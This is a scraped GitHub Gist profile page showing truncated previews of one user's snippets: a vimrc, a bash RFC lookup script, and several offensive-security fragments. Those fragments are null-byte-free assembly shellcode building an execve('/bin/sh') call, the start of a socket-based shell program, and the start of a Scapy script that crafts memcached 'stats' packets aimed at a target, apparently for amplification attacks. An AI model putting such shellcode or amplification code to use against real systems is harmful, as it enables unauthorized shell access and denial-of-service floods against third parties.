Skip to content

Instantly share code, notes, and snippets.

View retpolanne's full-sized avatar
🏳️‍⚧️

Anne Isabelle "Anya" Macedo retpolanne

🏳️‍⚧️
View GitHub Profile
@retpolanne
retpolanne / execve.s
Last active January 4, 2019 00:33
Xors to remove null bytes
.global _start
.section .text
_start:
# execve syscall
xor %eax, %eax
push %eax # null byte for /bin/sh string
push $0x68732f2f # little endian //sh
push $0x6e69622f # little endian /bin
set nocompatible " be iMproved, required
filetype off " required
" set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
" alternatively, pass a path where Vundle should install plugins
"call vundle#begin('~/some/path/here')
" let Vundle manage Vundle, required
# bugs - plugs to random port :/
# run netstat -tlnp | grep LISTEN before using
.global _start
.section .text
_start:
# socket syscall
mov $0x66, %eax # syscall 102 - socketcall
mov $1, %ebx # socketcall type 1 - socket
#!/bin/bash
# The directory is different on arch, I'm too lazy to change it.
# install doc-rfc before using it
# https://news.ycombinator.com/item?id=16570470
RFCS_DIR="/usr/share/doc/RFC/"
RFC_QUERIED=$1
echo "$(find $RFCS_DIR -name '*'$RFC_QUERIED'*')" | head -1 | xargs zmore
from scapy.all import IP, Raw, send, UDP
import sys
cmd = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
memcached_addr = sys.argv[1]
target = sys.argv[2]
iface = sys.argv[3]
packet = IP(